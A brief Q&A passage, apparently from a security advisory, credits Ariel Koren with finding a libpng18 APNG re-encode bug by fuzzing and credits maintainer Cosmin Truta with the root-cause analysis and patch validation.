Who discovered it?

Ariel Koren, through a libFuzzer campaign against libpng18's APNG re-encode path. The root cause of the buffer swap and the end-to-end patch validation are credited to the libpng maintainer, Cosmin Truta.